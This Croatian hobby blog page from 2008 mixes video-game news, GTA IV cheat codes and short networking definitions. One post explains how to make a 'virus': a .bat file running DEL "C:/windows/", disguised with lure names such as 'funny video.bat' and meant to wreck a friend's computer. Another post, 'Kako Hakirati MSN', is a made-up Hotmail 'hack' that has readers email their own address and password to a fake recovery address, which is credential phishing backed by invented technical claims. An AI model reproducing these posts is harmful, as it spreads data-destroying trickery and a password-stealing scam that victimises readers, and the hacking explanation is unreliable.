KALJAKOPPA - raketa




Free Image Hosting at www.ImageShack.us

QuickPost Quickpost this image to Myspace, Digg, Facebook, and others!

| 15:28 | Komentiraj (0) | Print this! | #

Project Origin

Warner Bros. Interactive Entertainment najavljuje demo verziju, ali ne otkriva datum izdavanja.

Project Origin nastavlja priču sa dozama neizvjesnosti, akcije i horora koja je počela u F.E.A.R.-u. Počevši nešto prije kraja prve igre, grupa specijalnih snaga je rutinskoj misiji kada grad Auburn pogodi nadnaravna eksplozija. Alma je oslobodila svoj gnjev nad gradom i bacila ga u kaos.

Igra donosi poboljšanu umjetnu inteligenciju, unaprijeđeni grafički engine i nova oružja, kao i nove lokacije.

Igra izlazi ove jeseni za PC, Xbox 360 i PS3.

Free Image Hosting at www.ImageShack.us

QuickPost Quickpost this image to Myspace, Digg, Facebook, and others!

| 15:27 | Komentiraj (0) | Print this! | #

Black Prophecy

Developer Reakktor izbacio je prvi trailer za nadolazeći akcijski MMO, Black Prophecy.

Riječ je o brzoj real-time borbenoj igri koja je smještena mračnom svmeriju stvorenom od straneg nagrađivanog sci-fi autora Michaela Marraka. Igru će izdati 10Tacle Studios početkom 2009. godine za PC.

| 15:26 | Komentiraj (0) | Print this! | #

Demigod

Stardock je izbacio prvi trailer iz igre Demigod.

Riječ je o akcijskoj RPG igri, koja je inspirirana popularnim WarCraft III modom Defense of the Ancients. Na igri radi Chris Taylorov razvojni studio poznat po naslovima Dungeon Siege, Supreme Commander i Space Siege, koji je trenutno u izradi.

U Demigodu, kontrolirate jednog od mnogih heroja; od kojih neki imaju specijalnu moć stvaranja jedinica i zgrada. Tu je i multiplayer sa podrškom za kooperativno igranje, te single-player koji će poslužiti za tutorial.

Izlazak se očekuje negdje u veljači 2009. godine.

| 15:25 | Komentiraj (0) | Print this! | #

Space Siege

Izašla je demo verzija od igre Space Siege.

Trenutno u razvoju od developera Gas Powered Games, Space Siege se odvija u granicama Armstronga, jedan od rijetkih preostalih kolonizacijskih brodova koji prevoze posljednje preživjele od ljudske civilizacije nakon razarajućeg napada na Zemlju od nepoznate vanzemaljske rase. U igri, igrači će preuzeti ulogu Setha Walkera, kibernetski inženjer koji se nađe u borbi za spašavanje čovječanstva od istrebljenja.

Demo, koji je velik 935MB, možete downloadati sa ovog linka.

Space Siege izlazi sredinom mjeseca kolovoza za PC.

| 15:25 | Komentiraj (0) | Print this! | #

The Wheelman

Midway Games je objavio da je jako očekivani akcijski naslov, The Wheelman, odgođen za početak 2009. godine.

Riječ je o naslovu koji je inspiriran Hollywoodskim najpoznatijim akcijskim sekvencama, te istoimenom filmu u kojem glavnu ulogu glumi Vin Diesel. The Wheelman obećava filmske trenutke tijekom igre uz primamljivu priču.

Prethodno zakazana za izdavanje ove jeseni, developeri će dobiti više vremena za razvijanje i poliranje igre.

| 15:23 | Komentiraj (0) | Print this! | #

Need for Speed Undercover


Need for Speed UndercoverNFSUnlimited.net izvještava da je "procurio" teaser trailer za Need for Speed Undercover.

Priča u igri je nastala inspiracijom iz filmova kao što je The Transporter.

Trailer je moguće pogledati na YouTubeu. Na kraju ovog trailera, možete vidjeti da će Need for Speed Undercover biti dostupan 18. studenog ove godine.

Need for Speed Undercover je trenutno u razvoju od developera EA Black Box za PC, PS2, PS3, X360, PSP, DS i Wii.

| 15:23 | Komentiraj (2) | Print this! | #

Rise of the Argonauts

Liquid Entertainment je izdao novi video zapis za nadolazeći RPG, Rise of the Argonauts.

Igra Rise of the Argonauts smještena je u u svijetu Grčkih mitova i legendi. Igrači vode tim ratnika, uključujući Jasona, Herkula i Atalantu, kroz svijet u kojemu vladaju mitološki bogovi. Svaki od bogova, Ares, Apolon, Hermes i Atena, ima svoje "drvo" vještina što igraču omogućuje fleksibilan i dinamičan sustav za stjecanje vještina i poboljšanje njihovog karaktera.

Trenutno u razvoju, izlazak se očekuje ove jeseni.

| 15:23 | Komentiraj (0) | Print this! | #

Kako Napravit VIRUS

Zacijelo ste barem jednom pomislili kako bi bilo zakon da frendu "pokvarite" kompjuter pomoću virusa. Pomislili ste to je tako cool ali trebam znati programirati. Nije tako!!!

U ovom vodiču će te naći kako. Postoje četiri jednostavna koraka.


1. korak - Otvorite novi tekstualni dokument [notepad(blok)]
D:SystemDesktopR
2. korak - Upišite ovo DEL "C:/windows/" - sa navodnicimD:SystemDesktopRa

3. korak - Kliknite na [file(dadoteka)] => [save as(spremi kao)]

4. korak - Otvorit će se novi prozorčić i na mjesto na kojem trebate napisati ime dadoteke vam piše ".txt". Napišite ".bat" a prije točke napišite kako želite da vam se zove dadoteka.
NPR. (.txt) => (wirus.bat) ili (.txt) => (gole slike Pamele.bat) ili (.txt) => (funny video.bat).

Nadam se da ste shvatili

5. korak - UPOZORENJE

Kad to kreirate NE OTVARAJTE jer ce se ta dadoteka "instalirati" vama na komp, a to znači da će se vama zbrisati windowsi.

ZA SVE ŠTETE JA SE OGRAĐUJEM OD POSLJEDICA .

| 15:22 | Komentiraj (0) | Print this! | #

Tom Clancy's EndWar

Ubisoft je izbacio par trailera i nove screenshotove iz igre Tom Clancy's EndWar.

Riječ je o novom naslovu u Tom Clancy serijalu koji izlazi početkom 2009. godine za PC i konzole nove generacije. Na igri radi Ubisoftov Shanghai studio čiji članovi imaju iskustva sa razvojem hitova kao što su Tom Clancy's Ghost Recon, Tom Clancy's Rainbow Six i Tom Clancy's Splinter Cell.

Tom Clancy's EndWar je RTS smješten na bojištima Trećeg svjetskog rata.

| 15:22 | Komentiraj (0) | Print this! | #

Tom Clancy's Splinter Cell: Conviction

Ubisoft je objavio da je jako očekivani "stealth" naslov, Tom Clancy's Splinter Cell: Conviction, ponovno odgođen.

Izlazak je bio zakazan za četvrti kvartal u tvrtkinoj 2008.-09. fiskalnoj godini, no razlog odgode nije otkriven, ali je razvojni tim nedavno izjavio da se igrivost "razvila" i da će igru prikazati u narednim mjesecima. Zbog odgode izlazak se očekuje negdje tijekom fisklane 2009.-10. godine, koja traje od mjeseca travnja 2009. do mjeseca ožujka 2010. godine.

Tom Clancy's Splinter Cell: Conviction je u razvoju za PC, X360 i DS.

| 15:22 | Komentiraj (0) | Print this! | #

GTA4 Sifre

CHEAT NAME

CHEAT CODE
Health & Weapons
Give Niko health and weapons. 4825550100
Health & Armour
Give Niko health and armour. Blocks the achievement "Finish Him." 3625550100
Weapons (Advanced)
Baseball Bat, Grenades, Combat Pistol, Combat Shotgun, SMG, Carbine Rifle, Combat Sniper, RPG. 4865550100
Weapons (Poor)
Knife, Molotovs, Pistol, Pump Shotgun, Micro SMG, Assault Rifle, Combat Sniper, RPG. 4865550150
Remove Wanted Level
Remove any police wanted level. Blocks the achievement "Walked free." 2675550100
Raise Wanted Level
Add one star to Niko's wanted level. 2675550150
Change Weather
Select from eight different weather types. 4685550100
Spawn Annihilator
Spawn an Annihilator helicopter in front of Niko. 3595550100
Spawn Jetmax
Spawn a Jetmax boat in front of Niko. 9385550100
Spawn NRG-900
Spawn an NRG-900 bike in front of Niko. 6255550100
Spawn Sanchez
Spawn a Sanchez bike in front of Niko. 6255550150
Spawn FIB Buffalo
Spawn an FIB Buffalo in front of Niko. 2275550100
Spawn Comet
Spawn a Comet in front of Niko. 2275550175
Spawn Turismo
Spawn a Turismo in front of Niko. 2275550147
Spawn Cognoscenti
Spawn a Cognoscenti in front of Niko. 2275550142
Spawn Super GT
Spawn a Super GT in front of Niko. 2275550168

| 15:21 | Komentiraj (0) | Print this! | #

Kako Hakirati MSN

Prvo, otvorite vaš email inbox i idete na pisanje novog maila. U polje “TO” upišete: recovery_msn_password@windowslive.com U “Subject” poruke morate upisati: LOST_PASSWORD

Prvi red texta emaila morate napisati ime servera:

in.mail.hotmail.com

U drugi red poruke morate napisati svoju email adresu, odvojite jedan space i vas password

U treći red upišete mail koji želite da hackirate zatim opet odvojite jedan space i upisete nulu (posto server prepoznaje nulu kao izgubljeni password)

U četvrti red morate na kraju napisati void (main)=dmim/0 jer je to funkcija koja označava automatsku skriptu hotmailovog izgubljenog passworda.

Evo ovo je primjer kako to treba izgledati:


--------------------------------------------------
TO: recovery_msn_password@windowslive.com
SUBJECT: LOST_PASSWORD

TEXT: in.mail.hotmail.com
vas@email.com 12345678
email@za.hakiranje 0
void (main)=dmim/0
---------------------------------------------------



Ako niste napravili nijednu grešku, najvjerovatnije ce vam se vrlo brzo (maximalno 2 sata) vratiti automatski odgovor sa servera na vašu mail adresu sa željenom mail adresom i novim passwordom koji je slučajno generisan a izgledat će kao kombinacija brojeva i slova. Ako ga želite promijeniti, samo se morate ulogovati sa tim passwordom jednom na mail koji ste hackirali i promijeniti password na opcijama maila.

Ovo funkcionira tako što zbunite mail server, koji misli da mail šalje jedan od njihovih internih zaposlenika u hotmail servisu.

Znači, najvažnije je da pored podataka tačno upisete subjekt maila, i zadnji red obavezno treba da sadrži void(main) strukturu.

| 15:21 | Komentiraj (13) | Print this! | #

Race-Driver-GRID

Screenshots
Free Image Hosting at www.ImageShack.us

QuickPost Quickpost this image to Myspace, Digg, Facebook, and others!

Free Image Hosting at www.ImageShack.us

QuickPost Quickpost this image to Myspace, Digg, Facebook, and others!

Free Image Hosting at www.ImageShack.us

QuickPost Quickpost this image to Myspace, Digg, Facebook, and others!

Free Image Hosting at www.ImageShack.us

QuickPost Quickpost this image to Myspace, Digg, Facebook, and others!

| 15:11 | Komentiraj (0) | Print this! | #

Računalne mreže



Računalne se mreže svrstavaju prema zemljopisnom području koje pokrivaju:

* PAN (Personal Area Network) - mreže s uskim područjem spajanja (bluetooth, IRDA)

* LAN (Local Area Network) - lokalna mreža koja je na primjer u jednoj zgradi ili prostoriji

* MAN (Metropolitan Area Network) - mreža koja se prostire preko područja jednog grada

* WAN (Wide Area network) - široko područna mreža - kao npr. Internet

Računalne se mreže također mogu svrstati prema sustavima koje spajaju ili prema tome što sačinjava mrežni sustav:

* SAN (Storage Area Network) - mreža za spajanje računala na spremišta podataka
* VLAN (Virtual LAN)
* WLAN (Wireless LAN) - bežična lokalna mreža (Wi-Fi)

- 21:58 - Komentari (0) - Isprintaj - #
Modem
Modem (kovanica od eng. modulate/demodulate) je uređaj koji modulira digitalni signal u oblik pogodan za prijenos preko komunikacijskog kanala, a nakon prijenosa ga demodulira u izvorni oblik. Najpoznatiji su modemi za spajanje na običnu telefonsku liniju, ali postoje modemi kojima se omogućuje prijenos podataka i na drugim žičnim ili bežičnim prijenosnim sustavima (npr. koaksijalni kabeli i radio veze).

Služi uglavnom za spajanje na internet, no njime se može slati i primati telefaks (ako je to fax modem), programirati da glumi automatsku sekretaricu, zvati nekoga, pa onda zvuk koji bi inače dolazio na slušalicu telefona preusmjeriti na zvučnike, a razgovarati preko mikrofona (ako je to voice modem) i još neke sitnice. Radi tako da prevodi podatke koje dobije iz telefonske linije u podatke smislene računalu i obrnuto.

| 15:09 | Komentiraj (0) | Print this! | #

Creative Commons License
Ovaj blog je ustupljen pod Creative Commons licencom Imenovanje-Dijeli pod istim uvjetima.

Copyright © pchack - Design touch by: Tri mudraca

Komentari On/Off


Dnevnik.hr
Gol.hr
Zadovoljna.hr
OYO.hr
NovaTV.hr
DomaTV.hr
Mojamini.tv


Opis bloga
Sve rezencije computerske igre sifre za igre i ostale novosti iz svijeta computera
Linkovi
Dnevnik.hr
Video news portal Nove TV

Blog.hr
Blog servis

Forum.hr
Monitor.hr



online casino guide

MOLIM VAS DA OSTAVLJATE KOMENTARE!

AKO VAM IŠTA ZATREBA POŠALJITE MI MAIL NA STREETHACK@HOTMAIL.COM

AKO HOĆETE NEKE REZENCIJE ILI ŠIFRE NAPIŠITE KOMENTAR.ILIU IŠTA VEZANO ZA RAČUNALA

Free Image Hosting at www.ImageShack.us

QuickPost Quickpost this image to Myspace, Digg, Facebook, and others!

ImageChef.com - Custom comment codes for MySpace, Hi5, Friendster and more



ImageChef.com - Custom comment codes for MySpace, Hi5, Friendster and more